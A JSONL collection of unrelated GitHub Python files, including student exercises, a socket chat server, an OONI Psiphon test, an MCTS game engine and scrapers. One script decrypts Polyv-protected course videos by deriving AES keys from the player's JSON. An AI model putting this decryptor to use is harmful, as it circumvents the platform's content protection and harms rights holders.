+{"seq_id":"14615793586","text":"class DictShop(dict):\n def __init__(self, *args, **kwargs):\n if len(args) == 0:\n self.shop_dict = {}\n elif type(args[0]) is dict:\n for i in args[0]:\n self.__check_key(i)\n super().__init__(args[0])\n else:\n raise TypeError('аргумент должен быть словарем')\n\n def __setitem__(self, key, value):\n self.__check_key(key)\n self.shop_dict[key] = value.d\n\n @staticmethod\n def __check_key(key):\n if not isinstance(key, Thing):\n raise TypeError('ключами могут быть только объекты класса Thing')\n\n\nclass Thing:\n def __init__(self, name, price, weight):\n self.name = name\n self.price = price\n self.weight = weight\n self.d = {'name': self.name, 'price': self.price, 'weight': self.weight}\n\n\nth_1 = Thing('Лыжи', 11000, 1978.55)\nth_2 = Thing('Книга', 1500, 256)\ndict_things = DictShop()\ndict_things[th_1] = th_1\ndict_things[th_2] = th_2\nprint(dict_things.__dict__)\n\nfor x in dict_things:\n print(x.name)\n\ndict_things[1] = th_1 # исключение TypeError","repo_name":"Grino777/OOP_Python","sub_path":"inheritance/4.2.4.py","file_name":"4.2.4.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36872509159","text":"import requests\nimport os\nimport socket\nimport threading\n\n\n\nfrom telegram import envia_msg_telegram\nfrom log import registra_log\nfrom servidor import clients\nfrom rss_config import noticia_rss\n\n\n\ndef comandos(client_socket, address):\n try:\n # Notificar o Telegram sobre a nova conexão\n message = f\"Nova conexão: Cliente {address[0]}:{address[1]} conectado.\"\n envia_msg_telegram(message)\n registra_log(\"INFO\", address, \"Conexão\", message=message)\n history = [] # Lista para armazenar o histórico do cliente\n while True:\n data = client_socket.recv(1024).decode('utf-8')\n if not data:\n print(f\"Cliente {address[0]}:{address[1]} desconectado.\")\n break\n\n if data == \"/q\":\n print(f\"Cliente {address[0]}:{address[1]} solicitou desconexão.\")\n registra_log(\"INFO\", address, \"solicitação\", message=\"Solicitou desconexão\")\n break\n elif data == \"/l\":\n print(f\"Cliente {address[0]}:{address[1]} solicitou listar clientes.\")\n registra_log(\"INFO\", address, \"solicitação\", message=\"Solicitou Listar Clientes\")\n response = \"\\n\".join(f\"{addr[0]}:{addr[1]}\" for addr in clients.keys())\n client_socket.send(response.encode('utf-8'))\n elif data.startswith(\"/m:\"):\n parts = data.split(\":\", 3)\n if len(parts) == 4:\n _, dest_ip, dest_port, message = parts\n dest_port = int(dest_port)\n envia_msg(address, dest_ip, dest_port, message)\n response = f\"Mensagem enviada para {dest_ip}:{dest_port}.\"\n registra_log(\"INFO\", address, \"Mensagem\", message=\"{message} Enviada para {dest_ip}:{dest_port}\")\n else:\n response = \"Comando /m inválido. Uso correto: /m:ip_destino:porta:mensagem\"\n client_socket.send(response.encode('utf-8'))\n elif data.startswith(\"/b:\"):\n message = data[3:]\n msg_geral(address, message)\n msglog=message\n response = \"Mensagem enviada para todos os clientes conectados.\"\n registra_log(\"INFO\", address, \"Mensagem\", message=f\"Mensagem {msglog} Enviada para todos\")\n client_socket.send(response.encode('utf-8'))\n elif data == \"/h\":\n response = \"\\n\".join(history) # Envia o histórico para o cliente\n registra_log(\"INFO\", address, \"Solicitação\", message=\"Solicitou Historico\")\n client_socket.send(response.encode('utf-8'))\n elif data == \"/?\":\n response = \"Comandos disponíveis:\\n/q - Desconectar\\n/l - Listar clientes conectados\\n/m:ip_destino:porta:mensagem - Enviar mensagem privada\\n/b:mensagem - Enviar mensagem para todos\\n/h - Ver histórico\\n/? - Ajuda\\n/rss:palavra_chave - Listar as 10 notícias mais recentes com a palavra-chave em RSS\\n/f - Listar arquivos na pasta /server_files\\n/w:url - Fazer download do arquivo da URL para a pasta /server_files\\n/d:nome_arquivo - Fazer download do arquivo do servidor para o cliente\"\n client_socket.send(response.encode('utf-8'))\n elif data.startswith(\"/rss:\"):\n registra_log(\"INFO\", address, \"Mensagem\", message=\"Solicitou Noticias\")\n keyword = data[5:]\n news = noticia_rss(keyword)\n if news:\n response = \"\\n\".join(news)\n else:\n response = f\"Nenhuma notícia encontrada com a palavra-chave: {keyword}\"\n client_socket.send(response.encode('utf-8'))\n elif data.startswith(\"/w:\"):\n registra_log(\"INFO\", address, \"Mensagem\", message=\"Solicitou Dowload\")\n url = data[3:]\n baixar_url(url)\n response = f\"Arquivo da URL {url} baixado e salvo em /server_files.\"\n client_socket.send(response.encode('utf-8'))\n elif data == \"/f\":\n registra_log(\"INFO\", address, \"Mensagem\", message=\"Solicitou lista de arquivos do servidor\")\n response = listar_arqv()\n client_socket.send(response.encode('utf-8'))\n else:\n response = \"Comando inválido. Use '/q' para desconectar, '/l' para listar clientes, '/m:ip_destino:porta:mensagem' para enviar uma mensagem privada, '/b:mensagem' para enviar uma mensagem para todos, '/h' para ver o histórico, '/?' para ver os comandos disponíveis, '/rss:palavra_chave' para listar as 10 notícias mais recentes com a palavra-chave em RSS, '/f' para listar os arquivos na pasta /server_files, '/w:url' para fazer download de um arquivo da URL fornecida ou '/d:nome_arquivo' para fazer download de um arquivo do servidor para o cliente.\"\n client_socket.send(response.encode('utf-8'))\n\n # Adiciona o comando/mensagem ao histórico do cliente\n history.append(data)\n except Exception as e:\n print(f\"Erro na conexão com {address[0]}:{address[1]}: {e}\")\n finally:\n client_socket.close()\n del clients[address]\n\n\n\ndef envia_msg(sender_address, dest_ip, dest_port, message):\n try:\n if (dest_ip, dest_port) in clients:\n dest_socket = clients[(dest_ip, dest_port)]\n dest_socket.send(f\"Mensagem de {sender_address[0]}:{sender_address[1]}: {message}\".encode('utf-8'))\n else:\n raise Exception(f\"Cliente {dest_ip}:{dest_port} não encontrado.\")\n except Exception as e:\n print(f\"Erro ao enviar mensagem para {dest_ip}:{dest_port}: {e}\")\n\ndef msg_geral(sender_address, message):\n for client_socket in clients.values():\n if client_socket != sender_address:\n client_socket.send(f\"Mensagem de {sender_address[0]}:{sender_address[1]} para todos: {message}\".encode('utf-8'))\n\n\n\n\n\"\"\"\n Função para baixar um arquivo a partir de uma URL e salvá-lo na pasta /server_files.\n\n Parâmetros:\n url (str): A URL do arquivo a ser baixado.\n file_name (str): O nome do arquivo a ser salvo.\n\n Essa função utiliza a biblioteca requests para fazer o download do arquivo a partir da URL.\n O arquivo é baixado em pedaços e salvo na pasta /server_files com o nome especificado.\n\"\"\"\ndef baixar_url(url):\n try:\n response = requests.get(url)\n if response.status_code == 200:\n file_name = url.split(\"/\")[-1]\n file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"server_files\", file_name)\n with open(file_path, \"wb\") as file:\n file.write(response.content)\n else:\n print(f\"Erro ao fazer download do arquivo da URL: {url}. Código de resposta: {response.status_code}\")\n except Exception as e:\n print(f\"Erro ao fazer download do arquivo da URL: {url}: {e}\")\n\n\n\n\"\"\"\n Função para listar os arquivos (nome e tamanho) contidos na pasta /server_files do servidor.\n\n Essa função utiliza a biblioteca os para obter uma lista de arquivos na pasta /server_files.\n Para cada arquivo encontrado, a função obtém o nome e o tamanho do arquivo.\n A lista resultante contém tuplas no formato (nome do arquivo, tamanho do arquivo).\n\"\"\"\ndef listar_arqv():\n files_list = []\n folder_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"server_files\")\n if os.path.exists(folder_path) and os.path.isdir(folder_path):\n for file_name in os.listdir(folder_path):\n file_path = os.path.join(folder_path, file_name)\n if os.path.isfile(file_path):\n file_size = os.path.getsize(file_path)\n files_list.append(f\"{file_name} - {file_size} bytes\")\n if files_list:\n return \"\\n\".join(files_list)\n return \"Nenhum arquivo encontrado na pasta /server_files.\"\n\n\n\ndef start_server():\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.bind(('0.0.0.0', 8888))\n server_socket.listen(5)\n print(\"Servidor iniciado. Aguardando conexões...\")\n\n while True:\n client_socket, address = server_socket.accept()\n print(f\"Cliente {address[0]}:{address[1]} conectado.\")\n clients[address] = client_socket\n client_handler = threading.Thread(target=comandos, args=(client_socket, address))\n client_handler.start()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mizaelarthur/Programacao-para-redes","sub_path":"ProjetoProgRedes/comunicação_cliente.py","file_name":"comunicação_cliente.py","file_ext":"py","file_size_in_byte":8486,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23725459694","text":"# Inicia a variável fatorial com o valor 1 e recebe como input os minutos do usuário:\nfatorial = 1\ncontador = int(input(\"Digite os minutos atuais da máquina: \"))\n\n# Executa um laço do tipo while, fazendo a multiplicação do fatorial e decrescendo 1 da variável contador,\n# até que o valor da variável contador seja maior que zero:\nwhile contador > 0:\n fatorial *= contador\n contador -= 1\n\n# Lança o output informando a senha:\nprint(f\"\\nLIBERDADE{fatorial}\")\n","repo_name":"welderessutti/exercises_and_studies","sub_path":"fiap/atividades/fase_2_prototyping/cap_3_andar_em_circulos/RM99070_EX04.py","file_name":"RM99070_EX04.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"7577551095","text":"import tempfile\nimport os\nimport sys\n\nfrom twisted.internet import defer, reactor\nfrom twisted.internet.error import ProcessExitedAlready\nfrom twisted.python import usage\n\nfrom ooni.utils import log, net\nfrom ooni.templates import process, httpt\n\n\nclass UsageOptions(usage.Options):\n optParameters = [\n ['psiphonpath', 'p', None, 'Specify psiphon python client path.'],\n ['url', 'u', net.GOOGLE_HUMANS[0],\n 'Specify the URL to fetch over psiphon (default: http://www.google.com/humans.txt).'],\n ['expected-body', 'e', net.GOOGLE_HUMANS[1],\n 'Specify the beginning of the expected body in the response (default: ' + net.GOOGLE_HUMANS[1] + ').']\n ]\n\nclass PsiphonTest(httpt.HTTPTest, process.ProcessTest):\n\n \"\"\"\n This class tests Psiphon python client\n\n test_psiphon:\n Starts a Psiphon, check if it bootstraps successfully\n (print a line in stdout).\n Then, perform an HTTP request using the proxy\n \"\"\"\n\n name = \"Psiphon Test\"\n description = (\"Bootstraps Psiphon and \"\n \"does a HTTP GET for the specified URL.\")\n author = \"juga\"\n version = \"0.2.0\"\n timeout = 120\n usageOptions = UsageOptions\n\n def _setUp(self):\n self.localOptions['socksproxy'] = '127.0.0.1:1080'\n super(PsiphonTest, self)._setUp()\n\n def setUp(self):\n log.debug('PsiphonTest.setUp')\n\n self.report['bootstrapped_success'] = None\n self.report['request_success'] = None\n self.report['psiphon_found'] = None\n self.report['default_configuration'] = True\n\n self.bootstrapped = defer.Deferred()\n self.url = self.localOptions['url']\n\n if self.localOptions['url'] != net.GOOGLE_HUMANS[0]:\n self.report['default_configuration'] = False\n\n if self.localOptions['expected-body'] != net.GOOGLE_HUMANS[1]:\n self.report['default_configuration'] = False\n\n if self.localOptions['psiphonpath']:\n self.psiphonpath = self.localOptions['psiphonpath']\n else:\n # Psiphon is not installable and to run it manually, it has to be\n # run from the psiphon directory, so it wouldn't make sense to\n # install it in the PATH. For now, we assume that Psiphon sources\n # are in the user's home directory.\n from os import path, getenv\n self.psiphonpath = path.join(\n getenv('HOME'), 'psiphon-circumvention-system/pyclient/pyclient')\n log.debug('psiphon path: %s' % self.psiphonpath)\n\n def createCommand(self):\n # psi_client.py can not be run directly because the paths in the\n # code are relative, so it'll fail to execute from this test\n x = \"\"\"\nfrom psi_client import connect\nconnect(False)\n\"\"\"\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(x)\n f.close()\n self.command = [sys.executable, f.name]\n log.debug('command: %s' % ' '.join(self.command))\n\n def handleRead(self, stdout, stderr):\n if 'Press Ctrl-C to terminate.' in self.processDirector.stdout:\n if not self.bootstrapped.called:\n # here the text 'Press Ctrl-C to terminate.' has been found\n # and it was to call doRequest\n self.report['bootstrapped_success'] = True\n log.debug(\"PsiphonTest: calling bootstrapped.callback\")\n self.bootstrapped.callback(None)\n\n def test_psiphon(self):\n log.debug('PsiphonTest.test_psiphon')\n self.createCommand()\n if not os.path.exists(self.psiphonpath):\n log.err('psiphon path does not exists, is it installed?')\n self.report['psiphon_found'] = False\n log.debug(\"Adding %s to report\" % self.report)\n # XXX: the original code written by juga0 readed\n # > return defer.succeed(None)\n # but this caused `ooniprobe -ng` to hang forever, so I\n # rewrote the code to return a deferred and simulate calling\n # its callback method, to trigger an event.\n # -sbs\n reactor.callLater(0.0, self.bootstrapped.callback, None)\n return self.bootstrapped\n\n self.report['psiphon_found'] = True\n log.debug(\"Adding %s to report\" % self.report)\n\n # Using pty to see output lines as soon as they get wrotten in the\n # buffer, otherwise the test might not see lines until the buffer is\n # full with some block size and therefore the test would\n # terminate with error\n finished = self.run(self.command,\n env=dict(PYTHONPATH=self.psiphonpath),\n path=self.psiphonpath,\n usePTY=1)\n # here psiphon command has been run, and if it finds the text\n # 'Press Ctrl-C to terminate' in handleRead it will write to the\n # report self.report['bootstrapped_success'] = True\n self.report['bootstrapped_success'] = False\n\n def callDoRequest(_):\n log.debug(\"PsiphonTest.callDoRequest: %r\" %(_,))\n d = self.doRequest(self.url)\n def addSuccessToReport(res):\n log.debug(\"PsiphonTest.callDoRequest.addSuccessToReport\")\n if res.body.startswith(self.localOptions['expected-body']):\n self.report['request_success'] = True\n else:\n self.report['request_success'] = False\n\n return res\n d.addCallback(addSuccessToReport)\n def addFailureToReport(res):\n log.debug(\"PsiphonTest.callDoRequest.addFailureToReport. res=%r\" % (res,))\n self.report['request_success'] = False\n return res\n d.addErrback(addFailureToReport)\n return d\n self.bootstrapped.addCallback(callDoRequest)\n\n def cleanup(_):\n log.debug('PsiphonTest:cleanup')\n try:\n self.processDirector.transport.signalProcess('INT')\n except ProcessExitedAlready:\n pass\n os.remove(self.command[1])\n return finished\n\n self.bootstrapped.addBoth(cleanup)\n return self.bootstrapped\n","repo_name":"ooni/probe-legacy","sub_path":"ooni/nettests/third_party/psiphon.py","file_name":"psiphon.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"53"}
+{"seq_id":"45028043085","text":"import time\nimport math\nimport random\nfrom typing import List, Optional, Union\nfrom concurrent.futures import ThreadPoolExecutor\n\n\nfrom .c4_board import C4Board\n\n\nclass C4Node:\n def __init__(self, input_board: C4Board, parent: Optional[\"C4Node\"] = None):\n self.board: C4Board = input_board\n self.parent: Optional[\"C4Node\"] = parent\n self.children: List[\"C4Node\"] = []\n self.wins: int = 0\n self.visits: int = 0\n\n def add_child(self, child_node) -> None:\n self.children.append(child_node)\n\n def update(self, result) -> None:\n self.visits += 1\n self.wins += result\n\n def fully_expanded(self) -> bool:\n return len(self.children) == len(self.board.get_next_possible_moves())\n\n def best_child(self, c_param: Union[int, float] = 1.4) -> Optional[\"C4Node\"]:\n best_score = float(\"-inf\")\n best_child = None\n for child in self.children:\n if child.visits == 0:\n child_score = float(\"inf\")\n else:\n child_score = float(\n (child.wins / child.visits)\n + c_param * ((2 * math.log(self.visits) / child.visits) ** 0.5)\n )\n if child_score > best_score:\n best_score = child_score\n best_child = child\n if best_child is None: # TODO: replace with logging\n message = len(self.children)\n raise Exception(\"No best child found. Children: \" + str(message))\n return best_child\n\n\nclass C4MCTreeSearch:\n def __init__(self, input_board: C4Board):\n self.root = C4Node(input_board)\n\n def selection(self) -> Optional[C4Node]:\n current_node = self.root\n while current_node.fully_expanded():\n if len(current_node.board.get_next_possible_moves()) == 0:\n return None\n node = current_node.best_child()\n if node is None: # to satisfy mypy\n return None\n current_node = node\n return current_node\n\n def expansion(self, node: C4Node):\n possible_moves = node.board.get_next_possible_moves()\n for move in possible_moves:\n next_board = node.board.with_move(move, node.board.get_next_player())\n child_node = C4Node(next_board, node)\n node.add_child(child_node)\n\n def simulation(self, node: C4Node):\n current_board = node.board\n while current_board.get_winner() is None:\n move = random.choice(current_board.get_next_possible_moves())\n current_board = current_board.with_move(\n move, current_board.get_next_player()\n )\n winner = current_board.get_winner()\n agent_to_make_move = self.root.board.get_next_player()\n if winner == agent_to_make_move:\n return 1\n if winner == \" \":\n return 0\n return -1\n\n def backpropagation(self, node, result):\n while node is not None:\n node.update(result)\n node = node.parent\n\n def run_simulation(self):\n selected_node = self.selection()\n if selected_node is None:\n return\n self.expansion(selected_node)\n result = self.simulation(selected_node)\n self.backpropagation(selected_node, result)\n\n def run(self, iterations, num_threads=4):\n with ThreadPoolExecutor(max_workers=num_threads) as executor:\n for _ in range(iterations):\n executor.submit(self.run_simulation)\n return self.root.best_child().board\n\n\nif __name__ == \"__main__\":\n board = C4Board((6, 7), \"11 22\" + \" \" * 36)\n mcts = C4MCTreeSearch(board)\n start_time = time.time()\n new_board = mcts.run(1000)\n end_time = time.time()\n print(\"Time to run: \", end_time - start_time)\n print(board.find_move_position(new_board.state))\n print(new_board.state.replace(\" \", \"_\"))\n \"\"\"for child in mcts.root.children:\n print(\n \"Board:\",\n child.board.state.replace(\" \", \"_\"),\n \"wins:\",\n child.wins,\n \" visits:\",\n child.visits,\n )\"\"\"\n","repo_name":"Nootonium/AIPlaymaker","sub_path":"src/connect_four/c4_mcts.py","file_name":"c4_mcts.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26659426618","text":"import asyncio\nimport websockets\nimport pathlib\nimport ssl\n\nssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\nlocalhost_pem = pathlib.Path(__file__).with_name(\"localhost.pem\")\nssl_context.load_verify_locations(localhost_pem)\n\nasync def hola():\n uri = \"wss://localhost:8888\"\n async with websockets.connect(uri, ssl=ssl_context) as websocket:\n nombre = input('Dime tu nombre:')\n\n await websocket.send(nombre)\n print(f\">>>{nombre}\")\n\n saludo = await websocket.recv()\n print(f\"<<< {saludo}\")\n\nif __name__ == \"__main__\":\n asyncio.run(hola())","repo_name":"jgomcar115/practs-ipra","sub_path":"vidic-main/CODE/test_websocket/cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"43433685515","text":"import asyncio\nimport aiohttp\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport multiprocessing as mp\nimport re\nimport time\nimport random\n\nurls = [\"https://movie.douban.com/top250?start={}&filter=\".format(str(i*25)) for i in range(0,10)]\nheaders = {'User-Agent':'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'}\ncount = 1\n\nasync def get_page(url, session):\n res = await session.get(url, headers = headers)\n html = await res.text()\n return html\n\ndef parse(html):\n soup = bs(html, 'lxml')\n titles = [s.string for s in soup.find_all('span', class_= 'title')]\n ratings = [s.string for s in soup.find_all('span', class_='rating_num')]\n return titles, ratings\n\nasync def main(loop):\n pool = mp.Pool()\n async with aiohttp.ClientSession() as session:\n print('Getting htmls from Douban')\n # 建立tasks 但不运行\n tasks = [loop.create_task(get_page(url, session)) for url in urls]\n # 运行tasks 等待所有tasks完成 并放入finished里\n finished, unfinished = await asyncio.wait(tasks)\n # 从finished 里拿出结果 返回到htmls里\n htmls = [h.result() for h in finished]\n\n print('Start Parsing...')\n parse_jobs = [pool.apply_async(parse, args=(html,)) for html in htmls]\n results = [i.get() for i in parse_jobs]\n\nif __name__ == '__main__':\n t1 = time.time()\n loop = asyncio.get_event_loop()\n loop.run_until_complete(main(loop))\n loop.close()\n print('Time Consumed: ', time.time()- t1)\n\n\n\n\n\n","repo_name":"WangShizhu-08/pythons","sub_path":"douban250_test.py","file_name":"douban250_test.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1589893495","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport logging\nimport inspect\nimport re\nimport hashlib\nimport copy\nimport base64\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\nfrom m3u8downloader.downloader import M3U8Downloader\n\ndef decryptTS(tsfile, resultfile, keyfile, ivfile):\n video = None\n key = None\n iv = None\n\n with open(tsfile, 'rb') as f:\n video = f.read()\n\n key_file_name = os.path.join(currentFolder, keyfile)\n with open(key_file_name, 'rb') as f:\n key = f.read()\n\n iv_file_name = os.path.join(currentFolder, ivfile)\n with open(iv_file_name, 'rb') as f:\n iv1 = f.read()\n\n video_id_name = os.path.join(currentFolder, \"tmp1/video_id\")\n with open(video_id_name, 'r') as f:\n video_id = f.read()\n\n body = getBody(video_id)\n json = decryptVideoJson(video_id, body)\n json = str(json, encoding = \"utf8\")\n regex = re.compile(r'seed_const\":.*?,')\n seed_const = regex.findall(json)[0][12:-1]\n m2 = hashlib.md5()\n m2.update(seed_const.encode('utf-8'))\n i = m2.hexdigest()\n i = i[0:16]\n i = bytes(i, encoding=\"utf8\")\n iv = [1, 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 7, 5, 3, 2, 1]\n iv = bytes(iv)\n key = downloader.decrypt(i, iv, key)[0:16]\n iv =[182, 225, 80, 143, 231, 211, 167, 164, 71, 64, 110, 174, 127, 230, 89, 117]\n iv = bytes(iv)\n result = downloader.decrypt(key, iv, video)\n with open(resultfile, 'wb') as f:\n f.write(result)\n\ndef b(e,t=None):\n if t == None or t.lower().replace(\" \",\"\").replace(\"-\",\"\") == \"utf8\":\n i = []\n r = 0\n while(r < len(e)):\n n = ord(e[r:r+1])\n if n == 37:\n n = hex(int(e[r:r+2]))\n i.append(n)\n else:\n i.append(n)\n r += 1\n return i\n elif t.lower() == \"hex\":\n i = []\n r = 0\n while (r < len(e)):\n n = ord(e[r:r + 1])\n n = hex(int(e[r:r + 2]))\n i.append(n)\n r += 1\n return i\n else:\n i = []\n return i\n \ndef funa(e):\n \"\"\"两位16进制转10进制\"\"\"\n t = []\n i = 0\n dic = {\"0\":0,\n \"1\":1,\n \"2\":2,\n \"3\":3,\n \"4\":4,\n \"5\":5,\n \"6\":6,\n \"7\":7,\n \"8\":8,\n \"9\":9,\n \"a\":10,\n \"b\":11,\n \"c\":12,\n \"d\":13,\n \"e\":14,\n \"f\":15}\n while i < len(e):\n a = dic[e[i]]\n b = dic[e[i+1]]\n t.append(a*16+b)\n i += 2\n return t\n\n# download video info and we will find the key which will be used to descrypt key for TS file\ndef getBody(video_id):\n content = downloader.download(\"https://player.polyv.net/secure/\" + video_id + \".json\")\n content = str(content)\n regex = re.compile(r'body\": \".*\"')\n content = regex.findall(content)[0][8:-1]\n return content\n\n# decrypt the video info we will find the key which will be used to descrypt key for TS file\ndef decryptVideoJson(video_id, body):\n t = video_id\n m2 = hashlib.md5()\n m2.update(t.encode('utf-8'))\n i = m2.hexdigest()\n r = b(i[0:16])\n r = bytes(r)\n n = b(i[16:32])\n n = bytes(n)\n a = funa(body)\n a = bytes(a)\n result = downloader.decrypt(r,n,a)\n result = base64.b64decode(result)\n return result\n\nif __name__ == '__main__':\n LOG_LEVEL = logging.INFO\n log = logging.getLogger()\n log.setLevel(LOG_LEVEL)\n handler = logging.StreamHandler(sys.stdout)\n handler.setLevel(LOG_LEVEL)\n formatter = logging.Formatter('%(asctime)s - %(module)s.%(funcName)s:%(lineno)d - %(levelname)s - %(message)s')\n handler.setFormatter(formatter)\n log.addHandler(handler)\n\n downloader = M3U8Downloader(log)\n downloader.setHeaders({\n \"Origin\": \"https://www.nowcoder.com\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\",\n \"Referer\": \"https://www.nowcoder.com/study/vod/1041/1/1\"\n })\n\n currentFolder = os.path.dirname(os.path.realpath(__file__))\n keyfile = \"tmp1/c7d3982d0d4360a289c58754dbdfd80f_2_0.key\"\n ivfile = \"tmp1/c7d3982d0d4360a289c58754dbdfd80f_2_0.iv\"\n ls = []\n for filename in os.listdir(os.path.join(currentFolder, \"tmp1\")):\n if(filename.endswith(\".ts\")):\n file_name = os.path.join(currentFolder, \"tmp1/\"+filename)\n r1 = os.path.join(currentFolder, \"10/\"+filename)\n decryptTS(file_name, r1, keyfile, ivfile)\n ls.append(r1)\n\n downloader.combineTS(ls, \"10.ts\")","repo_name":"jamesliu668/m3u8-downloader","sub_path":"test/newcoder-decryptor-test.py","file_name":"newcoder-decryptor-test.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"53"}
+{"seq_id":"25794255254","text":"import\tcv2 \nimport\tnumpy\tas\tnp\n\n#DUVIDAS: tentativa e erro? teria um jeito mais facil?\n# como selecionar o machucado da folha?\n#dessa forma é somente um pixel fixo? seria necessario criar um\n#algoritmo q calculasse essa função sozinho?\n\nimagemOriginal = cv2.imread(\"imagemTeste.jpg\", 0)\n\nimgEscalada\t=\tcv2.resize( \n imagemOriginal,\t\n None,\t\n fx\t= 0.5,\t\n fy\t= 0.5, \n interpolation\t=\tcv2.INTER_CUBIC \n )\n\n#objeto de interesse destacado em branco \nmetodo\t=\tcv2.THRESH_BINARY_INV \n\nret, imgBinarizada\t=\tcv2.threshold(imgEscalada,\t135,\t255,\tmetodo)\n\ncv2.imshow(\"Imagem\tOriginal\",\timgEscalada) \ncv2.imshow(\"Imagem\tTratada\",\timgBinarizada)\n\ncv2.waitKey(0) \ncv2.destroyAllWindows()","repo_name":"ThayDias/visao-computacional","sub_path":"Introducao a Visao Computacional/9. Segmentacao de Objetos/segmentacao_binarizacao.py","file_name":"segmentacao_binarizacao.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"2096875108","text":"from pyspark.sql import SparkSession\nfrom secrete import bucket_prices, bucket_parquet, host\nfrom connect_s3 import save_to_bucket\nfrom api_18080 import check_stages, check_jobs\n\n\ndef quiet_logs(spark):\n logger = spark._jvm.org.apache.log4j\n logger.LogManager.getLogger(\"org\").setLevel(logger.Level.ERROR)\n logger.LogManager.getLogger(\"akka\").setLevel(logger.Level.ERROR)\n\n\ndef convert_files(from_bucket, from_file, to_bucket, to_file, app_name):\n spark = SparkSession.builder \\\n .appName(app_name) \\\n .config('spark.sql.files.maxPartitionBytes', 1024 * 1024 * 128) \\\n .config('spark.sql.shuffle.partitions', 700) \\\n .getOrCreate()\n quiet_logs(spark)\n\n # read in all csv files from this bucket, convert to a single df\n df = spark.read.csv(\"s3a://\" + from_bucket + \"/\" + from_file, header=True)\n # df.drop('open', 'close', 'volume', 'high', 'low')\n df.write.parquet(\"s3a://\" + to_bucket + \"/\" + to_file, mode=\"overwrite\")\n\n # save history log to S3 bucket\n app_id = spark.sparkContext.applicationId\n get_history(app_id)\n\n\ndef get_history(app_id):\n path = 'http://{}:18080/api/v1/applications/'.format(host)\n if check_jobs(path, app_id,'jobs') == 'ok':\n sms = 'Congrats! All jobs succeeded!'\n print(sms)\n else:\n print('Ohh, sorry! Something went wrong, please check the logs.')\n save_to_bucket(check_stages(path, app_id, 'stages'), \"log_\"+app_id)\n\n\nif __name__ == '__main__':\n convert_files(bucket_prices, \"historical_stock_prices.csv\", bucket_parquet, \"prices.parquet\", 'convert historical prices to parquet')","repo_name":"mingyyy/backtesting","sub_path":"spark/file_convertor.py","file_name":"file_convertor.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"21029848309","text":"# map, filter , lambda\n\n\npeople = [\n {'name': 'bob', 'age': 20},\n {'name': 'carry', 'age': 38},\n {'name': 'john', 'age': 7},\n {'name': 'smith', 'age': 17},\n {'name': 'ben', 'age': 27},\n {'name': 'bobby', 'age': 57},\n {'name': 'red', 'age': 32},\n {'name': 'queen', 'age': 25}\n]\n\nresult3 = filter(lambda x: x['age'] > 20, people)\n\nprint(result3)\n\ndef check_adult(person):\n return \"adult \" if person['age'] >20 else \"teenager\"\n\n\nresult= map(check_adult,people)\nresult2= map(lambda person:(\"adult \" if person['age'] >20 else \"teenager\"), people)\nprint(list(result2))\n\n","repo_name":"skylermbang/Lectures-","sub_path":"codeit/python/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38646978522","text":"from fastai.core import *\r\nfrom fastai.vision import *\r\nfrom matplotlib.axes import Axes\r\nfrom .filters import IFilter, MasterFilter, ColorizerFilter\r\nfrom .generators import gen_inference_deep, gen_inference_wide\r\nfrom PIL import Image\r\nimport ffmpeg\r\nimport gc\r\nimport requests\r\nfrom io import BytesIO\r\nimport base64\r\nfrom IPython import display as ipythondisplay\r\nfrom IPython.display import HTML\r\nfrom IPython.display import Image as ipythonimage\r\nimport cv2\r\n\r\n\r\n\r\nclass ModelImageVisualizer:\r\n def __init__(self, filter: IFilter, results_dir: str = None):\r\n self.filter = filter\r\n \r\n\r\n def plot_transformed_image(\r\n self,\r\n path: str,\r\n figsize: Tuple[int, int] = (20, 20),\r\n render_factor: int = None,\r\n display_render_factor: bool = False,\r\n compare: bool = False,\r\n post_process: bool = True,\r\n ) -> Path:\r\n \r\n img = cv2.imread(path)\r\n orig_image = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n orig_image = Image.fromarray(img)\r\n result = self.filter.filter(\r\n orig_image, orig_image, render_factor=render_factor,post_process=post_process\r\n )\r\n # self._plot_solo(figsize, render_factor, display_render_factor, result)\r\n\r\n return result\r\n\r\n \r\n\r\ndef get_image_colorizer(\r\n root_folder: Path = Path('./'), render_factor: int = 35, artistic: bool = True\r\n) -> ModelImageVisualizer:\r\n if artistic:\r\n return 